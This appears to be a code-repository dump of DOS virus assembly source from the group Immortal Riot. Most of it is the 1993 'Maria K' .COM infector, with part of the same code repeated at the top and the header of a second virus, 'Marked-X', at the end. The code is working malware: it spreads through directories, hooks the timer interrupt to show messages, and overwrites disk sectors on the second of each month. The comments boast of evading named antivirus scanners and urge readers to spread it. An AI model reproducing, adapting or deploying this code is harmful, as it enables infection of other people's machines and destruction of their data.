mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ;to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Traversal function ends
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ;in order to
add si, offset_off ;halt the D-Cool
mov word ptr [si], 0 ;traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ;to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ;Find first file
mov cx, 0007h ;Any file
mov dx, offset com_mask ;DS:[DX] --> filemask
add dx, offset_off
int 21h ;Fill DTA (hopefully)
jc return_to_fcn ;<Sigh> Error #E421:0.1
jmp check_if_COM_infected ;I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ;Another loop,
add si, offset_off ;Another infection
dec byte ptr [si] ;Infected three?
jz enuff_for_now ;If so, exit
find_next_file:
mov ah,4Fh ;Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ;??????D.COM?
jz find_next_file ;Don't kill COMMAND.COM
mov ax,3D00h ;Open channel read ONLY
mov dx, si ;Offset Pathname in DX
sub dx, 6
int 21h ;Open NOW!
jc find_next_file ;If error, find another
xchg bx,ax ;bx is now handle
mov ah,3Fh ;Save
mov cx, part1_size ;first part
mov dx, offset buffer ;to buffer
add dx, offset_off ;to be restored
push dx
int 21h ;later
pop si ;Check for virus ID bytes
;in the buffer
push si
lodsw ;DS:[SI] -> AX
cmp ax, virus_marker ;Compare it
jnz infect_it ;infect if ID #1 not found
lodsw ;Check next two bytes
cmp ax, virus_marker2 ;Compare it
jnz infect_it ;infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ;else close the file
int 21h ;and go find another
jmp find_next_file ;'cuz it's already infected
Signature db 'Immortal Riot'
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Good Stuff - Infection routine
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ;DS:[SI] -> ES:[DI]
movsw ;Save origtime
movsw ;Save origdate
movsw ;Save filesize
;Only need LSW
;because COM files
;can only be up to
;65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ;is less than 8 bytes.
do_again:
mov ah, 2Ch ;get time
int 21h
add dl, dh ;1/100 sec + 1 sec
jz do_again ;Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ;255 mutations
mov ax, 4301h ;Set file attributes
xor cx, cx ;to nothing
mov dx, si ;filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ;do it now, my child
mov ah, 3Eh ;Close file
int 21h ;handle in BX
mov ax, 3D02h ;Open file read/write
int 21h ;Filename offset in DX
jc bomb_out ;Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
;copy filehandle to
;oldhandle
stosw ;AX -> ES:[DI]
xchg ax, bx ;file handle in BX now
mov ah, 40h ;Write DS:[DX]->file
mov cx, part1_size - 4 ;number of bytes
mov dx, 0100h ;where code starts
int 21h ;(in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ;write jmp offset
mov ax, [si] ;AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ;move file ptr
xor cx, cx ;from EOF
xor dx, dx ;offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ;Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ;old time and
add si, 2
mov dx, word ptr [si] ;date
int 21h
mov ah, 3Eh ;Close file
int 21h
mov ax, 4301h ;Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ;attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ;do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
; Check if already installed
push es
mov byte ptr cs:[100h],0 ;Initialize fingerprint
xor bx, bx ;Zero BX for start
mov ax, cs
Init1: inc bx ;Increment search segment
mov es, bx ;value
cmp ax, bx ;Not installed if we reach
je Not_Installed_Yet ;the current segment
mov si, 100h ;Search segment for
mov di, si ;fingerprint in first
mov cx, 4 ;four bytes
repe cmpsb ;Compare
jne init1 ;If not equal, try another
jmp Quit_Init ;else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ;DS:[SI]->ES:[DI]
mov ax, 3508h ;Get int 8 handler
int 21h ;put in ES:BX
mov cs:[duh], bx ;Save old handler
mov cs:[duh+2], es ;in cs:[104h]
mov ax, 2508h ;Install new handler
mov dx, Int_08_Start ;from DS:DX
int 21h ;Do it
push es
mov ax, ds:[2Ch] ;Deallocate program
mov es, ax ;environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ;TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
; these two lines are the "long" line above..pls, but m together..
; mov dx, (offset int_end - offset int_start + offset part1_end -
; offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ;In case of error
Quit_Init:
pop es
Error: ;On error, quit
Quit:
mov ah, 3Bh ;Change directory
mov dx, offset root_dir ;to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ;Change directory
;Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ;Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ;Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ;DS:SI -> AL
add si, ax ;ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ;Length of string
mov ax, 1300h ;
mov bx, 0070h ;Page 0, inverse video
xor dx, dx ;(0,0)
int 10h ;Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Please don't just change the notes here included in the virus, and
; claim that it's your production. I know this isn't mine, but afterall,
; you could atleast say that I "renaissanced" it. Cuz mane people actually
; scans their programs nowdays (..or atleast here..), which makes it
; quite stupid to spread a virus which scan etc can find. And well, I'd
; like to get this little shit a bit spread..can you get it for me? :)..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
Messages db 0
db 15, 'Maria K lives..' ; She ain't dead..
db 21, 'Somewhere in my heart..' ; That's truh..huh?
db 22, 'Somewhere in Sweden..' ; She lives here!
db 26, 'I might be insane..' ; I might be that..
db 38, 'But the society to blame..' ; Might be true....
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start
; Greetings goes out to: Raver, Metal Militia, Scavenger,
; and of-cuz a mega Greeting to Maria K !..
+625
View File
@@ -0,0 +1,625 @@
; VirusName : Maria K..
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 26/09/1993
;
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
; Many thanks must go to the scratch coder of this one..(DA?)
;
; Mcafee Scan used to find this as "Cloud" Virus, But also
; as the "Beta" Virus. So..two guys in this little babe...
;
; This is a non-overwriting .COM files infector, it doesn't do
; anything to .EXE files, nor command.com. This goes memory
; resident. When it "goes-off", it prints out a "BOBism" every
; 5 minutes. If the virus finds itself in the memory, it will not
; go up again. It will NOT infect a program when you starts it,
; it's just the "printer-part" who is in memory"..
;
; This version is not encrypted as the original one, but instead,
; a hd-trasher has been added, so if some infected file is ran
; at the 2:nd every month, someone (me), will be very pleased..
;
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
; F-Prot (2.09) DON'T find this and TBScan can't identify it
; as the "original" virus, It says it's some "Unknown Virus".
;
; Okey, think that's all, have phun, and remember,
; livi'n ain't no crime!
;
CODE SEGMENT PUBLIC 'CODE'
ORG 100h
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
DTA_fileattr EQU 21
DTA_filetime EQU 22
DTA_filedate EQU 24
DTA_filesize EQU 26
DTA_filename EQU 30
virus_marker equ 026FFh ; JMP WORD PTR
virus_marker2 equ 00104h ; 0104h
part1_size equ part1_end - part1_start
part2_size equ part2_end - part2_start
offset_off equ duh2
init_delay equ 5280 ; Initial delay
delay equ 400 ; Subsequent delay
num_Messages equ 7 ; Number of "Bob" messages
waves equ 7 ; Number of waves to go off after
infec_date equ 0606h ; Swedish National Day (0606)..
Counter equ 108h
D_Mess equ 110h
Int_08_Start equ 112h
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
; If you finds something to add here, then do! The place he placed his
; string is there the virus identify itselves, and I've failed with get
; the virus to work after some dully attempt to add some meanless shit.
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
part1_start:
jmp word ptr duh
duh dw middle_part_end - part1_start + 100h
duh2 dw 0
part1_end:
middle_part_start:
middle_part_end:
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;Part 2 begins: Dis is the D-Cool part
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
part2_start:
cld
call decrypt
mov si, offset Go
add si, offset_off
jmp si
encrypt_val db 00h
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
DECRYPT:
ENCRYPT:
mov ah,2ah ; Day-Checking..
int 21h ;
cmp dl,02 ; Check if day 02..
je STONEHEART ; If So..you're a lucky guy
jmp SORRY ; Otherwise..try with "date 02"..
STONEHEART: ; Name of her..
cli ;
mov ah,2 ; Starting right on..
cwd ; Starting it from 0.
mov cx,0100h ; Continue to 256....
int 026h ; No Exchauses!
jmp MARIA ; Jump For Joy..(J4J)..
MARIA: ; Yeah, her's other handle..
CLI ;
MOV AL,3 ; Continue with drive D..
MOV CX,700 ; Make drive d's heart fall apart..
MOV DX,00 ; Start from sector 0
MOV DS,[DI+99] ; Put random crap in DS
MOV BX,[DI+55] ; More crap in BX
CALL STONEHEART ; J4J..once again..
SORRY: ; I'm feeling soo sorry for you!
RET ; Cuz you managed to return!
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; This used to be under Decrypt/Encrypt, but well, since I don't want
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
; Beta String used to be place at "mov di, si", that might also be a little
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
; from modify in this code..So..Get your Encryption if you wants!
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; MOV si, offset encrypt_val
; ADD si, offset_off
; MOV ah, byte ptr [si]
; MOV cx, offset part2_end - offset bam_bam
; ADD si, offset bam_bam - offset encrypt_val
; MOV di, si ; - "Beta-String used to be here..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb
loop xor_loop
ret
copy_rest_stuff:
; Copying routine
push si ; SI -> buffer3
call encrypt
mov cx, part2_size
pop dx
add dx, offset part2_start - offset buffer3
mov ah, 40h
int 21h
call decrypt ; See what to do..
bam_bam:
ret
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2 db part1_end - part1_start dup (?)
buffer3 dw ?
orig_path db 64 dup (?)
num_infec db 0 ; Infection wave number
infec_now db 0 ; Number files infected this time
root_dir db '\',0 ; Root Dir spec
com_mask db '*.com',0 ; Files to infect
dir_mask db '*.*',0 ; Files to search for..
back_dir db '..',0 ; Dot-Dot..
nest dw 0
DTA db 43 DUP (0) ; For use by infect_dir
Go: ; Proc there Mcaf "cloud" string is placed.
add si, offset buffer - offset Go
mov di, si
add di, offset buffer2 - offset buffer
cmp dx, infec_date ; Added this two lines, and
jz Go_Psycho ; "Cloud" string is gone...
mov cx, part1_size
rep movsb
mov ah, 47h ; Get directory
xor dl,dl ; Default drive
add si, offset orig_path - offset buffer - 8
int 21h ; in orig_path
jc Go_Error
mov ah, 3Bh ; Change directory
mov dx, si ; to the root dir
add dx, offset root_dir - offset orig_path
int 21h
jc Go_Error
add si, offset num_infec - offset orig_path
inc byte ptr [si] ; New infection wave
push si ; Save offset num_infec
add si, offset infec_now - offset num_infec
mov byte ptr [si], 3 ; Reset infection
; counter to 3
; for D-new run.
call traverse_fcn ; Do all the work
pop si ; Restore offset num_infec
cmp byte ptr [si], waves ; 10 infection waves?
jge Go_Psycho ; If so, activate
mov ah, 2Ah ; Get date
int 21h
cmp dx, infec_date ; Is it 06/06?
jz Go_Psycho ; If so, activate
Go_Error:
jmp quit ; And then quit
Go_Psycho:
jmp Psycho ; Yeah, right!
origattr db 0
origtime dw 0
origdate dw 0
filesize dw 0 ; Size of the uninfected file
oldhandle dw 0
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Traversal function begins
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Allocate space for DTA
push si
jmp infect_directory
In_fcn:
mov ah,1Ah ;Set DTA
lea dx,word ptr [bp-44] ;to space allotted
int 21h ;Do it now, do it hard!
mov ah, 4Eh ;Find first
mov cx,16 ;Directory mask
mov dx,offset dir_mask ;*.*
add dx,offset_off
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
je short donext ;If so, loop again
lea dx,word ptr [bp-14] ;else load dirname
mov ah,3Bh ;and changedir there
int 21h ;Yup, yup
jc short donext ;Do next if invalid
mov si, offset nest ;Else increment nest
add si, offset_off
inc word ptr [si] ;nest++
call near ptr traverse_fcn ;recurse directory
donext:
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
mov ah,1Ah ;and set DTA to it
int 21h ;cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ;If OK, jmp elsewhere
mov si, offset nest
add si, offset_off
cmp word ptr [si], 0 ;If root directory (nest == 0)
jle short cleanup ; Quit
dec word ptr [si] ;Else decrement nest
mov dx,offset back_dir ;'..'
add dx, offset_off
mov ah,3Bh ;Change directory
int 21h ;to previous one
cleanup:
pop si
mov sp,bp
pop bp
ret
traverse_fcn endp
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Traversal function ends
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
Goto_Error:
jmp Error
enuff_for_now:
;Set nest to nil
mov si, offset nest ;in order to
add si, offset_off ;halt the D-Cool
mov word ptr [si], 0 ;traversal fcn
jmp short cleanup
return_to_fcn:
jmp short In_fcn ;Return to traversal function
infect_directory:
mov ah, 1Ah ;Set DTA
mov dx, offset DTA ;to DTA struct
add dx, offset_off
int 21h
find_first_COM:
mov ah, 04Eh ;Find first file
mov cx, 0007h ;Any file
mov dx, offset com_mask ;DS:[DX] --> filemask
add dx, offset_off
int 21h ;Fill DTA (hopefully)
jc return_to_fcn ;<Sigh> Error #E421:0.1
jmp check_if_COM_infected ;I<___-Cool! Found one!
find_next_file2:
mov si, offset infec_now ;Another loop,
add si, offset_off ;Another infection
dec byte ptr [si] ;Infected three?
jz enuff_for_now ;If so, exit
find_next_file:
mov ah,4Fh ;Find next
int 21h
jc return_to_fcn
check_if_COM_infected:
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
add si, offset_off
cmp byte ptr [si], 'D' ;??????D.COM?
jz find_next_file ;Don't kill COMMAND.COM
mov ax,3D00h ;Open channel read ONLY
mov dx, si ;Offset Pathname in DX
sub dx, 6
int 21h ;Open NOW!
jc find_next_file ;If error, find another
xchg bx,ax ;bx is now handle
mov ah,3Fh ;Save
mov cx, part1_size ;first part
mov dx, offset buffer ;to buffer
add dx, offset_off ;to be restored
push dx
int 21h ;later
pop si ;Check for virus ID bytes
;in the buffer
push si
lodsw ;DS:[SI] -> AX
cmp ax, virus_marker ;Compare it
jnz infect_it ;infect if ID #1 not found
lodsw ;Check next two bytes
cmp ax, virus_marker2 ;Compare it
jnz infect_it ;infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ;else close the file
int 21h ;and go find another
jmp find_next_file ;'cuz it's already infected
Signature db 'Immortal Riot'
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
;D-Good Stuff - Infection routine
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ;DS:[SI] -> ES:[DI]
movsw ;Save origtime
movsw ;Save origdate
movsw ;Save filesize
;Only need LSW
;because COM files
;can only be up to
;65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ;is less than 8 bytes.
do_again:
mov ah, 2Ch ;get time
int 21h
add dl, dh ;1/100 sec + 1 sec
jz do_again ;Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ;255 mutations
mov ax, 4301h ;Set file attributes
xor cx, cx ;to nothing
mov dx, si ;filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ;do it now, my child
mov ah, 3Eh ;Close file
int 21h ;handle in BX
mov ax, 3D02h ;Open file read/write
int 21h ;Filename offset in DX
jc bomb_out ;Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
;copy filehandle to
;oldhandle
stosw ;AX -> ES:[DI]
xchg ax, bx ;file handle in BX now
mov ah, 40h ;Write DS:[DX]->file
mov cx, part1_size - 4 ;number of bytes
mov dx, 0100h ;where code starts
int 21h ;(in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ;write jmp offset
mov ax, [si] ;AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ;move file ptr
xor cx, cx ;from EOF
xor dx, dx ;offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ;Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ;old time and
add si, 2
mov dx, word ptr [si] ;date
int 21h
mov ah, 3Eh ;Close file
int 21h
mov ax, 4301h ;Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ;attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ;do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
; Check if already installed
push es
mov byte ptr cs:[100h],0 ;Initialize fingerprint
xor bx, bx ;Zero BX for start
mov ax, cs
Init1: inc bx ;Increment search segment
mov es, bx ;value
cmp ax, bx ;Not installed if we reach
je Not_Installed_Yet ;the current segment
mov si, 100h ;Search segment for
mov di, si ;fingerprint in first
mov cx, 4 ;four bytes
repe cmpsb ;Compare
jne init1 ;If not equal, try another
jmp Quit_Init ;else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ;DS:[SI]->ES:[DI]
mov ax, 3508h ;Get int 8 handler
int 21h ;put in ES:BX
mov cs:[duh], bx ;Save old handler
mov cs:[duh+2], es ;in cs:[104h]
mov ax, 2508h ;Install new handler
mov dx, Int_08_Start ;from DS:DX
int 21h ;Do it
push es
mov ax, ds:[2Ch] ;Deallocate program
mov es, ax ;environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ;TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
; these two lines are the "long" line above..pls, but m together..
; mov dx, (offset int_end - offset int_start + offset part1_end -
; offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ;In case of error
Quit_Init:
pop es
Error: ;On error, quit
Quit:
mov ah, 3Bh ;Change directory
mov dx, offset root_dir ;to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ;Change directory
;Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ;Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ;Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ;DS:SI -> AL
add si, ax ;ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ;Length of string
mov ax, 1300h ;
mov bx, 0070h ;Page 0, inverse video
xor dx, dx ;(0,0)
int 10h ;Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Please don't just change the notes here included in the virus, and
; claim that it's your production. I know this isn't mine, but afterall,
; you could atleast say that I "renaissanced" it. Cuz mane people actually
; scans their programs nowdays (..or atleast here..), which makes it
; quite stupid to spread a virus which scan etc can find. And well, I'd
; like to get this little shit a bit spread..can you get it for me? :)..
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
Messages db 0
db 15, 'Maria K lives..' ; She ain't dead..
db 21, 'Somewhere in my heart..' ; That's truh..huh?
db 22, 'Somewhere in Sweden..' ; She lives here!
db 26, 'I might be insane..' ; I might be that..
db 38, 'But the society to blame..' ; Might be true....
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start
; Greetings goes out to: Raver, Metal Militia, Scavenger,
; and of-cuz a mega Greeting to Maria K !..
+109
View File
@@ -0,0 +1,109 @@
; Virusname : Marked-X
; Virusauthor: Metal Militia
; Virusgroup : Immortal Riot
; Origin : Sweden
;
; It's a TSR, overwriting infector on files executed. If it's the
; twenty-first of any month it'll print a note and beep one thousand
; times. It also sets time/date to 00-00-00 so nothing will be shown
; in the fields when you take a "dir". It'll print a faked note when
; it goes into memory aswell saying they executed the file's not there.
